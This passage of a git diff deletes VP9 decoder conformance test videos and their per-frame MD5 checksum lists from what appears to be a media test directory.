-8387287bfa4e62dd575941fab6f95f96  vp90-2-02-size-lf-1920x1080-1920x1080-0027.i420
-7fcc408015aed7f70c0c2321b61d166d  vp90-2-02-size-lf-1920x1080-1920x1080-0028.i420
-2394b1c14a156421cc7b30fa95c1a49b  vp90-2-02-size-lf-1920x1080-1920x1080-0029.i420
-34d91c69395380155f6f1020cda78bf9  vp90-2-02-size-lf-1920x1080-1920x1080-0030.i420
-3f081ccd624b2648b7fde66e23b05e1d  vp90-2-02-size-lf-1920x1080-1920x1080-0031.i420
-ca08738b7c81f2f10ea2f65bf5fd7876  vp90-2-02-size-lf-1920x1080-1920x1080-0032.i420
-f65c4dc7c172666ba3bb9bd402d5767c  vp90-2-02-size-lf-1920x1080-1920x1080-0033.i420
-d7ea91467fea6c268b6cd8da9067d12b  vp90-2-02-size-lf-1920x1080-1920x1080-0034.i420
-9888aa4a9b3ff09ada838b5ab0f1216c  vp90-2-02-size-lf-1920x1080-1920x1080-0035.i420
-015d788822a605d03877454c8ffd065a  vp90-2-02-size-lf-1920x1080-1920x1080-0036.i420
-d9d6a53eed5627764c107aafaa64d9a8  vp90-2-02-size-lf-1920x1080-1920x1080-0037.i420
-0b4a40dc0a6a1f5caf16ddd4dde26186  vp90-2-02-size-lf-1920x1080-1920x1080-0038.i420
-4a3f4c2e6d559a1a93b50e716dddf0bf  vp90-2-02-size-lf-1920x1080-1920x1080-0039.i420
-d10f631f4a15b6f1060233a6519eefcc  vp90-2-02-size-lf-1920x1080-1920x1080-0040.i420
-cc650873b637c244cb1415e39051d013  vp90-2-02-size-lf-1920x1080-1920x1080-0041.i420
-44a697f932e97b7f53a989e429fdca29  vp90-2-02-size-lf-1920x1080-1920x1080-0042.i420
-a09c7c567353412a36776398975fbe6a  vp90-2-02-size-lf-1920x1080-1920x1080-0043.i420
-49e3469e2b27fc776bcc0e146910ce2b  vp90-2-02-size-lf-1920x1080-1920x1080-0044.i420
-dd3261b098648b62fa0eab900b0056ba  vp90-2-02-size-lf-1920x1080-1920x1080-0045.i420
-853f90bb3e23e837ad0cb33106c2256f  vp90-2-02-size-lf-1920x1080-1920x1080-0046.i420
-0df1eadd74d643e029188f242af2f533  vp90-2-02-size-lf-1920x1080-1920x1080-0047.i420
-c1d3b56a0a622b176b81400421e87176  vp90-2-02-size-lf-1920x1080-1920x1080-0048.i420
-3c723084af1b727f78fdb9a0e5912a58  vp90-2-02-size-lf-1920x1080-1920x1080-0049.i420
-9806a519be5c399ae8c2b816772786ec  vp90-2-02-size-lf-1920x1080-1920x1080-0050.i420
-f25fd27140575595c5f944446e57e502  vp90-2-02-size-lf-1920x1080-1920x1080-0051.i420
-8c8e4f402372d76e2844794d2ddada43  vp90-2-02-size-lf-1920x1080-1920x1080-0052.i420
-c2cce3cc8291978008779f567e912361  vp90-2-02-size-lf-1920x1080-1920x1080-0053.i420
-d3d2819296938ded08b07b2206387afd  vp90-2-02-size-lf-1920x1080-1920x1080-0054.i420
-fce62f1e083bf305f966696617549fc8  vp90-2-02-size-lf-1920x1080-1920x1080-0055.i420
-70ccdb87e5d4458ab60fb6b7a263880f  vp90-2-02-size-lf-1920x1080-1920x1080-0056.i420
-a8def4b2a416924ac1a8933901e6cdee  vp90-2-02-size-lf-1920x1080-1920x1080-0057.i420
-a4f09f6e2f534716e0ab92c094cd0525  vp90-2-02-size-lf-1920x1080-1920x1080-0058.i420
-91e264c9da9dd14b631ef6483a458ead  vp90-2-02-size-lf-1920x1080-1920x1080-0059.i420
-8506e8b6033f50212c7a4fb751074667  vp90-2-02-size-lf-1920x1080-1920x1080-0060.i420
-eb14b107652f8f71ff06b1f73fbc8ec7  vp90-2-02-size-lf-1920x1080-1920x1080-0061.i420
-4684a67783e8663bdf275352108f4eef  vp90-2-02-size-lf-1920x1080-1920x1080-0062.i420
-9568285e9a9542f5a708a31e2e157c5b  vp90-2-02-size-lf-1920x1080-1920x1080-0063.i420
-b5349702a8cb8679a362ba8bc550bf7c  vp90-2-02-size-lf-1920x1080-1920x1080-0064.i420
-fb7920dc58fd81ddf221fc9031fbc19f  vp90-2-02-size-lf-1920x1080-1920x1080-0065.i420
-b8f752ad92003e481c94beb3b8599214  vp90-2-02-size-lf-1920x1080-1920x1080-0066.i420
-3d93fc99118832ac7c3897f3e9b3a82e  vp90-2-02-size-lf-1920x1080-1920x1080-0067.i420
-98003f945aa8ba7aae4d9f6255002f62  vp90-2-02-size-lf-1920x1080-1920x1080-0068.i420
-a18ff6d6fa7645f922de2f3ba4053f49  vp90-2-02-size-lf-1920x1080-1920x1080-0069.i420
-1232126ef24ff4787b11b32223d34018  vp90-2-02-size-lf-1920x1080-1920x1080-0070.i420
-a83f92c62e008939b3de91cdf9c1282f  vp90-2-02-size-lf-1920x1080-1920x1080-0071.i420
-cd47127ea0b864e5636222b40cdb5fbe  vp90-2-02-size-lf-1920x1080-1920x1080-0072.i420
-544233ce095abea8ffe427a603224ddd  vp90-2-02-size-lf-1920x1080-1920x1080-0073.i420
-7192883aca7eda74dd7e61d1cc6f6e2e  vp90-2-02-size-lf-1920x1080-1920x1080-0074.i420
-e8db34581dd264810ad683cd6475cf23  vp90-2-02-size-lf-1920x1080-1920x1080-0075.i420
-c215af24670915f3a123beb970ccba22  vp90-2-02-size-lf-1920x1080-1920x1080-0076.i420
-40d89931ddef819030a46d81e114f0b5  vp90-2-02-size-lf-1920x1080-1920x1080-0077.i420
-064781c2e9e9d564c9098be2aa5b6299  vp90-2-02-size-lf-1920x1080-1920x1080-0078.i420
-9ebab2d14446bdd11b62a6b308889b64  vp90-2-02-size-lf-1920x1080-1920x1080-0079.i420
-77ca0761cab449ea90bc8b1e1de5ae3a  vp90-2-02-size-lf-1920x1080-1920x1080-0080.i420
-74cb71b2755157dc7c1ef211b2346270  vp90-2-02-size-lf-1920x1080-1920x1080-0081.i420
-23ce88228df42b9e69ad3f4f25dd20cf  vp90-2-02-size-lf-1920x1080-1920x1080-0082.i420
-52ac5c9e14482dfde27ad838145c5986  vp90-2-02-size-lf-1920x1080-1920x1080-0083.i420
-929381d60199bb8c250324ca96323008  vp90-2-02-size-lf-1920x1080-1920x1080-0084.i420
-94f9ca3acbe3ed61bffec3f48e1dc43a  vp90-2-02-size-lf-1920x1080-1920x1080-0085.i420
-955a4095051cdf3699e5385396a04d69  vp90-2-02-size-lf-1920x1080-1920x1080-0086.i420
-dd784f3a18eae98cae4f795f854d6f03  vp90-2-02-size-lf-1920x1080-1920x1080-0087.i420
-1ebeb7d3d528292c8ae1b54b30692c81  vp90-2-02-size-lf-1920x1080-1920x1080-0088.i420
-f38b83c5b2827c4efddcb6777fd6cd5d  vp90-2-02-size-lf-1920x1080-1920x1080-0089.i420
-011dff2cf18e5b4bac6035edf57372d6  vp90-2-02-size-lf-1920x1080-1920x1080-0090.i420
-a1e8ae0f840b6aeddf283f44aa57262e  vp90-2-02-size-lf-1920x1080-1920x1080-0091.i420
-bf8f75c177756e4e8c8ad0d494b7921c  vp90-2-02-size-lf-1920x1080-1920x1080-0092.i420
-d3e9bf1a44f61e47a3d0f4ca04921a11  vp90-2-02-size-lf-1920x1080-1920x1080-0093.i420
-874f5b4db9dfdb78d9a654a9ce3da4ba  vp90-2-02-size-lf-1920x1080-1920x1080-0094.i420
-a8f7ef85e67a1b3c6c730565e0e1ab3e  vp90-2-02-size-lf-1920x1080-1920x1080-0095.i420
-33d6e20c9921719b4dcd9ccdcf242ebf  vp90-2-02-size-lf-1920x1080-1920x1080-0096.i420
-ee13704be5bb72bc91e05dc07154c8b4  vp90-2-02-size-lf-1920x1080-1920x1080-0097.i420
-8edfa18ab4a51243581302b7b12655c5  vp90-2-02-size-lf-1920x1080-1920x1080-0098.i420
-4d71c47f48e498c525b3a2907b4dad10  vp90-2-02-size-lf-1920x1080-1920x1080-0099.i420
-6de62f06881c7db2e37391f3928f9ac1  vp90-2-02-size-lf-1920x1080-1920x1080-0100.i420
-70f76a47c7ed5568ff4d21c53c58482e  vp90-2-02-size-lf-1920x1080-1920x1080-0101.i420
-e7faf1645e75a6d0927336c08a018a34  vp90-2-02-size-lf-1920x1080-1920x1080-0102.i420
-e206df8ed03f809e31f704863851ec77  vp90-2-02-size-lf-1920x1080-1920x1080-0103.i420
-03eb13cf9426514e58deeda33f4766d0  vp90-2-02-size-lf-1920x1080-1920x1080-0104.i420
-e06bc2064d306de26356f6d67c2bc21b  vp90-2-02-size-lf-1920x1080-1920x1080-0105.i420
-dd8a993039b6d9c78e2f03c7efcb4984  vp90-2-02-size-lf-1920x1080-1920x1080-0106.i420
-26cb793df8bc7f1ddcd9bd897e877ef0  vp90-2-02-size-lf-1920x1080-1920x1080-0107.i420
-7e3d32618b104c9c47d4464aa2df4709  vp90-2-02-size-lf-1920x1080-1920x1080-0108.i420
-64b1e12d7b87decd877e6c23ffd275d7  vp90-2-02-size-lf-1920x1080-1920x1080-0109.i420
-323ddc3a19c198f7768dacaf6faad602  vp90-2-02-size-lf-1920x1080-1920x1080-0110.i420
-126d984b9bdaf3397ea4ebec52775e7f  vp90-2-02-size-lf-1920x1080-1920x1080-0111.i420
-76a4586be73d0401c339790c1045abab  vp90-2-02-size-lf-1920x1080-1920x1080-0112.i420
-68466c976fb0309ada2cc7bc514c7d78  vp90-2-02-size-lf-1920x1080-1920x1080-0113.i420
-38135b5505f21ec8d23f97cb29ef1161  vp90-2-02-size-lf-1920x1080-1920x1080-0114.i420
-d657d27a111e9d81b1fbedc7f9c035c9  vp90-2-02-size-lf-1920x1080-1920x1080-0115.i420
-f399d1dc319f560206f09ca5fb59c837  vp90-2-02-size-lf-1920x1080-1920x1080-0116.i420
-269b8a8582e28e11ca3d21dc0f4dc2a6  vp90-2-02-size-lf-1920x1080-1920x1080-0117.i420
-3550fd48042d272f051bb4a6fc76c9df  vp90-2-02-size-lf-1920x1080-1920x1080-0118.i420
-5be1f4ed7eea3b62d6c55003ded2906a  vp90-2-02-size-lf-1920x1080-1920x1080-0119.i420
-7c607aade4b3451f9a081367584ae5f7  vp90-2-02-size-lf-1920x1080-1920x1080-0120.i420
-a724b1ee8504955503aca7af81425008  vp90-2-02-size-lf-1920x1080-1920x1080-0121.i420
-f58ea230bd73fa111982093742f22055  vp90-2-02-size-lf-1920x1080-1920x1080-0122.i420
-8ad4a70efa7bbc936049de2cd5b973b8  vp90-2-02-size-lf-1920x1080-1920x1080-0123.i420
-4ecbe738e3d31d546332ae248e6ba075  vp90-2-02-size-lf-1920x1080-1920x1080-0124.i420
-507a6fe3e6c95dfec41950382ed49f0e  vp90-2-02-size-lf-1920x1080-1920x1080-0125.i420
-833dc6d11dbfc1fa8465b292a66afa32  vp90-2-02-size-lf-1920x1080-1920x1080-0126.i420
-0ac2d4983e91ba36a69d11ae9a32f31a  vp90-2-02-size-lf-1920x1080-1920x1080-0127.i420
-0e61c144b842d46b7f63f433dc7be802  vp90-2-02-size-lf-1920x1080-1920x1080-0128.i420
-e93dc18eddef0a93ba652ed898fc4898  vp90-2-02-size-lf-1920x1080-1920x1080-0129.i420
-6745736a1f8ce3dae8532a007023ac6a  vp90-2-02-size-lf-1920x1080-1920x1080-0130.i420
-75f9739dc3e003fdb356221a5654c0e4  vp90-2-02-size-lf-1920x1080-1920x1080-0131.i420
-d189cf9fffb8118f31a294deab61585a  vp90-2-02-size-lf-1920x1080-1920x1080-0132.i420
-2738879f462aca9015e212e644420b7b  vp90-2-02-size-lf-1920x1080-1920x1080-0133.i420
-eff4b276b3c4f454b0822ae4f8d88a0b  vp90-2-02-size-lf-1920x1080-1920x1080-0134.i420
-2e461ae7d93bb4cfd4e072a35b651d17  vp90-2-02-size-lf-1920x1080-1920x1080-0135.i420
-bf9a82ea0e3628e4fd1eeb03cb1f50bc  vp90-2-02-size-lf-1920x1080-1920x1080-0136.i420
-c8dff3e50d37f9e1ce8b92a0762c57be  vp90-2-02-size-lf-1920x1080-1920x1080-0137.i420
-51e6f9efc88a795de0a4d16a6a71d497  vp90-2-02-size-lf-1920x1080-1920x1080-0138.i420
-761b5005e7f8ab8185ccedb660ded250  vp90-2-02-size-lf-1920x1080-1920x1080-0139.i420
-f98da0c03436b1c759d368b9d42db679  vp90-2-02-size-lf-1920x1080-1920x1080-0140.i420
-dec3590e5c11737670703e73ed69783f  vp90-2-02-size-lf-1920x1080-1920x1080-0141.i420
-0481f4aec0c9eafb3f9a10cf80c0b056  vp90-2-02-size-lf-1920x1080-1920x1080-0142.i420
-67478cb1e4de699d529046f983105477  vp90-2-02-size-lf-1920x1080-1920x1080-0143.i420
-80f371f7fa43cab698b832a4010e5a88  vp90-2-02-size-lf-1920x1080-1920x1080-0144.i420
-4e9095ab5204a387f63118949bb90f9e  vp90-2-02-size-lf-1920x1080-1920x1080-0145.i420
-f943ce3342b90b01fabd3d5bc779bb01  vp90-2-02-size-lf-1920x1080-1920x1080-0146.i420
-1b12d49c5685111fa4faa8edc8b683ad  vp90-2-02-size-lf-1920x1080-1920x1080-0147.i420
-8ee848ae53f7b86a254e49562bbfe849  vp90-2-02-size-lf-1920x1080-1920x1080-0148.i420
-2d83c434c41329ae3a8b56c10a27f2e7  vp90-2-02-size-lf-1920x1080-1920x1080-0149.i420
-af6a63fc13b919dabedd86db735990f3  vp90-2-02-size-lf-1920x1080-1920x1080-0150.i420
-a807fce07a52227202dcdcbbfb4eb1bc  vp90-2-02-size-lf-1920x1080-1920x1080-0151.i420
-95aebea323577226684914c6b74830c5  vp90-2-02-size-lf-1920x1080-1920x1080-0152.i420
-65d64ebdaadb116608f06add0e8fada2  vp90-2-02-size-lf-1920x1080-1920x1080-0153.i420
-b064af776f8c562ea6b41e0c74710869  vp90-2-02-size-lf-1920x1080-1920x1080-0154.i420
-26291594af160501023eb0035443b7c3  vp90-2-02-size-lf-1920x1080-1920x1080-0155.i420
-79a414d560d3e36314c981f1e30e053b  vp90-2-02-size-lf-1920x1080-1920x1080-0156.i420
-3455e01e2cd146aefbad54cb032b15f1  vp90-2-02-size-lf-1920x1080-1920x1080-0157.i420
-eaa2e271058202cbc0933dea8f46f570  vp90-2-02-size-lf-1920x1080-1920x1080-0158.i420
-42da27c94aaa56ae27fddf75bf51f47f  vp90-2-02-size-lf-1920x1080-1920x1080-0159.i420
-746cca013c7b6df41e3233214ca7a5d7  vp90-2-02-size-lf-1920x1080-1920x1080-0160.i420
-ab20ad95d6b3e0d689186cde51e4a86a  vp90-2-02-size-lf-1920x1080-1920x1080-0161.i420
-b8a02e44615a697da3de946e8cf4e8e4  vp90-2-02-size-lf-1920x1080-1920x1080-0162.i420
-4df5b10cb1c784362035f69bdb183be0  vp90-2-02-size-lf-1920x1080-1920x1080-0163.i420
-f2e5dd616e8125b1b46c410141180fb0  vp90-2-02-size-lf-1920x1080-1920x1080-0164.i420
-e09ab4ca180cb477a3a87bc8fd1e2ce0  vp90-2-02-size-lf-1920x1080-1920x1080-0165.i420
-5ee431b26d6c83689bf18eb8d805f31e  vp90-2-02-size-lf-1920x1080-1920x1080-0166.i420
-bca8aaf030c959ac37c3e084be6cf8b3  vp90-2-02-size-lf-1920x1080-1920x1080-0167.i420
-8dd977323d8a5dba5c98c6671821e066  vp90-2-02-size-lf-1920x1080-1920x1080-0168.i420
-aed8ef2c20f9726542c78fade0fb0968  vp90-2-02-size-lf-1920x1080-1920x1080-0169.i420
-e19775ba9c5b6dbf1e84fd0531bd1f2a  vp90-2-02-size-lf-1920x1080-1920x1080-0170.i420
-a69c5daf6e6e3b579a3430fc95f37dac  vp90-2-02-size-lf-1920x1080-1920x1080-0171.i420
-3503bc793f86b75d9aa1c9c51b2d0f6f  vp90-2-02-size-lf-1920x1080-1920x1080-0172.i420
-bdcee02e245b92acf06588370df2e5e6  vp90-2-02-size-lf-1920x1080-1920x1080-0173.i420
-8bbb9460d0f419969491669664891d88  vp90-2-02-size-lf-1920x1080-1920x1080-0174.i420
-d4b993d87c2f4042c0b647e4e50cca38  vp90-2-02-size-lf-1920x1080-1920x1080-0175.i420
-5acb9f10167b208a32babbe56fd07587  vp90-2-02-size-lf-1920x1080-1920x1080-0176.i420
-958900bb713559d272470f1e85cffcda  vp90-2-02-size-lf-1920x1080-1920x1080-0177.i420
-f355f1858fd2c8a4932dfd6d6cfe7673  vp90-2-02-size-lf-1920x1080-1920x1080-0178.i420
-45caac733e395f63c82c9d8ab050c858  vp90-2-02-size-lf-1920x1080-1920x1080-0179.i420
-8b05c2c352c4adc5cabc0184a1f510f5  vp90-2-02-size-lf-1920x1080-1920x1080-0180.i420
-167c3fe4df204bab9cceb17ae655aa61  vp90-2-02-size-lf-1920x1080-1920x1080-0181.i420
-3859339e9a63d0e05797f0de535f7be8  vp90-2-02-size-lf-1920x1080-1920x1080-0182.i420
-2d5cc539454cb6aace19ab9bba60b066  vp90-2-02-size-lf-1920x1080-1920x1080-0183.i420
-f51299a0601fb1621d2de6b0e2391a9a  vp90-2-02-size-lf-1920x1080-1920x1080-0184.i420
-92b0ed2528c0756b0c84721a306ba61b  vp90-2-02-size-lf-1920x1080-1920x1080-0185.i420
-8f1870cce38718b02d0a4e26a5a2619e  vp90-2-02-size-lf-1920x1080-1920x1080-0186.i420
-e0ed74a244b8698baaefd837ab1590ff  vp90-2-02-size-lf-1920x1080-1920x1080-0187.i420
-c8b10e2ac68bd0106e34a57943f23e12  vp90-2-02-size-lf-1920x1080-1920x1080-0188.i420
-f5e505e3d681763fd447214aed863ab9  vp90-2-02-size-lf-1920x1080-1920x1080-0189.i420
-c2cc70d65ba1c13c5e07a1d28611792a  vp90-2-02-size-lf-1920x1080-1920x1080-0190.i420
-e518aac5c551f7c09652c25905cce41f  vp90-2-02-size-lf-1920x1080-1920x1080-0191.i420
-66379f7a3b2de153486a76b459e2ce3b  vp90-2-02-size-lf-1920x1080-1920x1080-0192.i420
-552afad8181d6d138e2e62c971a10a42  vp90-2-02-size-lf-1920x1080-1920x1080-0193.i420
-ac21d5c2ef3ccaabbaa9f08fcc9d0db8  vp90-2-02-size-lf-1920x1080-1920x1080-0194.i420
-f67af966e3fa79a6fce48b7d9e1fb593  vp90-2-02-size-lf-1920x1080-1920x1080-0195.i420
-dd6331e4361f8b8bd45d571db2e0344b  vp90-2-02-size-lf-1920x1080-1920x1080-0196.i420
-14a0db3c0a39b7431c337622ed4078a5  vp90-2-02-size-lf-1920x1080-1920x1080-0197.i420
-8d3394abad260b5e4e24abe4a898cb7b  vp90-2-02-size-lf-1920x1080-1920x1080-0198.i420
-e085ce3274d77fa874ab70183353b4c1  vp90-2-02-size-lf-1920x1080-1920x1080-0199.i420
-de083fffb4226ec227d3aa9c873dfcf7  vp90-2-02-size-lf-1920x1080-1920x1080-0200.i420
-4628eff51846a97fb708c4d3753ffee4  vp90-2-02-size-lf-1920x1080-1920x1080-0201.i420
-b480e4409fa8ca9c2e0d4bd57b7e8cf6  vp90-2-02-size-lf-1920x1080-1920x1080-0202.i420
-ff21164cc573b6f79739165b61b68dd0  vp90-2-02-size-lf-1920x1080-1920x1080-0203.i420
-ec391026b77527ed48029adfbd1afc93  vp90-2-02-size-lf-1920x1080-1920x1080-0204.i420
-23186dd93e32603c3709aa3419963ca9  vp90-2-02-size-lf-1920x1080-1920x1080-0205.i420
-6a1968207b37594cc82736f086a0a023  vp90-2-02-size-lf-1920x1080-1920x1080-0206.i420
-57358a332af03e5d96d8c1cd5e4a497d  vp90-2-02-size-lf-1920x1080-1920x1080-0207.i420
-584ac2ecc56e1a9f0f1a5356b161a7a6  vp90-2-02-size-lf-1920x1080-1920x1080-0208.i420
-f566d1e385f25ef9b74989cbe7bbca7b  vp90-2-02-size-lf-1920x1080-1920x1080-0209.i420
-a4bf059ee8207d1edeebc3193e8db8e0  vp90-2-02-size-lf-1920x1080-1920x1080-0210.i420
-cc5948fa18d6e73afa253eedbfaecd41  vp90-2-02-size-lf-1920x1080-1920x1080-0211.i420
-61d44c8bfca18b6742fed974366898b8  vp90-2-02-size-lf-1920x1080-1920x1080-0212.i420
-c48d67da0d72daaf635226b9e30e05e3  vp90-2-02-size-lf-1920x1080-1920x1080-0213.i420
-b4596a68e708f304875fd2306fec56e9  vp90-2-02-size-lf-1920x1080-1920x1080-0214.i420
-b59be425ebea3d15b4be140e552ab944  vp90-2-02-size-lf-1920x1080-1920x1080-0215.i420
-1e966f137918375ae060d4c49cf38664  vp90-2-02-size-lf-1920x1080-1920x1080-0216.i420
-0ff25f8e98719fd57dc31d391bb930c4  vp90-2-02-size-lf-1920x1080-1920x1080-0217.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_deltaq.vp9 b/tests/tests/media/res/raw/vp90_2_03_deltaq.vp9
deleted file mode 100644
index 9033b23..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_deltaq.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_deltaq_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_deltaq_vp9_md5
deleted file mode 100644
index aca350c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_deltaq_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-2f90d606edc511c8c960530dd915cb98  vp90-2-03-deltaq-352x240-0001.i420
-7fd451a057d6341b2b0d116f59e41a13  vp90-2-03-deltaq-352x240-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x196.vp9
deleted file mode 100644
index 06988f1..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x196_vp9_md5
deleted file mode 100644
index 847972f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-14cc1c34b8106e35238d4650a9123852  vp90-2-03-size-196x196-196x196-0001.i420
-66e0bb9136ea24e30b781a4610b428a1  vp90-2-03-size-196x196-196x196-0002.i420
-8e36679c20a3a3e974fdacf7a9343817  vp90-2-03-size-196x196-196x196-0003.i420
-2669fd03ce7ce01f4fc9db23e06fffdb  vp90-2-03-size-196x196-196x196-0004.i420
-46ced29eb6edf2136c8ee19e9a87380f  vp90-2-03-size-196x196-196x196-0005.i420
-4e4138b65a30bc56cd18663a1799f98f  vp90-2-03-size-196x196-196x196-0006.i420
-580b0431b5f808c67e50ed34e62f39ad  vp90-2-03-size-196x196-196x196-0007.i420
-1339bbe256d8499ab17d6a550f7dac70  vp90-2-03-size-196x196-196x196-0008.i420
-89b9dac29a4c4136249c40a3763dc114  vp90-2-03-size-196x196-196x196-0009.i420
-a735d341d7df9dcd0b6e51a82b813f61  vp90-2-03-size-196x196-196x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x198.vp9
deleted file mode 100644
index cffe250..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x198_vp9_md5
deleted file mode 100644
index 33056c5..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d2bd2dfaf2ac22b3f2499844f228d89a  vp90-2-03-size-196x198-196x198-0001.i420
-e066448baeb39da04b22d4d2ebd27b0a  vp90-2-03-size-196x198-196x198-0002.i420
-aace53c0ecca2596c51dd5e70da7abc4  vp90-2-03-size-196x198-196x198-0003.i420
-077256d024ab101918d10ae61142f203  vp90-2-03-size-196x198-196x198-0004.i420
-e2bfdad36b0365d41dc6813a371111ee  vp90-2-03-size-196x198-196x198-0005.i420
-17495af68b0a2c075899849382f3b046  vp90-2-03-size-196x198-196x198-0006.i420
-7853db163344798e5c37672adaac92d8  vp90-2-03-size-196x198-196x198-0007.i420
-7b2ee2e1ca709c58457c7d818e47c95c  vp90-2-03-size-196x198-196x198-0008.i420
-f7eb3ce10561628f932861358a30b414  vp90-2-03-size-196x198-196x198-0009.i420
-3182374f5aa539fd0faa44ed4a7492e5  vp90-2-03-size-196x198-196x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x200.vp9
deleted file mode 100644
index 53e2c03..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x200_vp9_md5
deleted file mode 100644
index 7746aba..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b2f2ac3e3833ae1b4dd075fe00210373  vp90-2-03-size-196x200-196x200-0001.i420
-c0cce05e56a07111fe62553fa3a87074  vp90-2-03-size-196x200-196x200-0002.i420
-626aab3de03242073e03504e166b4697  vp90-2-03-size-196x200-196x200-0003.i420
-574d2c810f0bbfac57f1f06c2b97445c  vp90-2-03-size-196x200-196x200-0004.i420
-7d5bc5860bd1422d08396fe080452099  vp90-2-03-size-196x200-196x200-0005.i420
-5d47bbfb0f5cdecfe8415ca2caddc206  vp90-2-03-size-196x200-196x200-0006.i420
-fbef6a0fa51029d0475975945ccf4b36  vp90-2-03-size-196x200-196x200-0007.i420
-c9179c153bcb2a8e9d17ed04e5e2c39c  vp90-2-03-size-196x200-196x200-0008.i420
-107d796592cf2140d4d492beadba2d68  vp90-2-03-size-196x200-196x200-0009.i420
-eee46f9ee67fc1121bffb63aeb7c768f  vp90-2-03-size-196x200-196x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x202.vp9
deleted file mode 100644
index 87394bd..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x202_vp9_md5
deleted file mode 100644
index 351cf95..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7109d2ef160828ece26337f36fcfc092  vp90-2-03-size-196x202-196x202-0001.i420
-bdaa6612f81a956d9b20d55a04df8346  vp90-2-03-size-196x202-196x202-0002.i420
-15eb75495d2713a64415b990b058d5ca  vp90-2-03-size-196x202-196x202-0003.i420
-b997c84553475ba84e8ba3d7ee19ae4e  vp90-2-03-size-196x202-196x202-0004.i420
-63a8badd691bcf643cf676d029ce8a6c  vp90-2-03-size-196x202-196x202-0005.i420
-b8ca23d9b3418c4c36040a215b2b7917  vp90-2-03-size-196x202-196x202-0006.i420
-1be0da18386c35e4a5e5d5d32d9a4468  vp90-2-03-size-196x202-196x202-0007.i420
-e75a03fa70fe7e6b3a8d8ce7dc8305f1  vp90-2-03-size-196x202-196x202-0008.i420
-cbd2b60df9209025c8e890771a05321d  vp90-2-03-size-196x202-196x202-0009.i420
-c655d6fcc3333917b66358a9ac2b1357  vp90-2-03-size-196x202-196x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x208.vp9
deleted file mode 100644
index d20e7cc..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x208_vp9_md5
deleted file mode 100644
index 94a9277..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-efa2a2a76a0fe709a78e491346cfcf29  vp90-2-03-size-196x208-196x208-0001.i420
-97de85e21b408878853fa870104707d7  vp90-2-03-size-196x208-196x208-0002.i420
-419bd1157e156d3059190d6b561c57dd  vp90-2-03-size-196x208-196x208-0003.i420
-fbb6e01c524fc7c8007c6cfe2c64f467  vp90-2-03-size-196x208-196x208-0004.i420
-7453994c2e9901fa23f295ec0b556f9c  vp90-2-03-size-196x208-196x208-0005.i420
-ba39dc984789fa2c4b833cd88013cc97  vp90-2-03-size-196x208-196x208-0006.i420
-cea5061cac1be18d5f9a9301a5460491  vp90-2-03-size-196x208-196x208-0007.i420
-1c583018c425b1a91949e0c3eb0a4152  vp90-2-03-size-196x208-196x208-0008.i420
-b48be02280ac6f97731af69bcf18de25  vp90-2-03-size-196x208-196x208-0009.i420
-6f8ab465214d8374c9ff77b939da333e  vp90-2-03-size-196x208-196x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x210.vp9
deleted file mode 100644
index c1dfbb3..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x210_vp9_md5
deleted file mode 100644
index eddddaf..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fccc18714a9ed3840bd6e9c6ca4858e5  vp90-2-03-size-196x210-196x210-0001.i420
-a8f6eb43cf6ed670eb180c5051de06f7  vp90-2-03-size-196x210-196x210-0002.i420
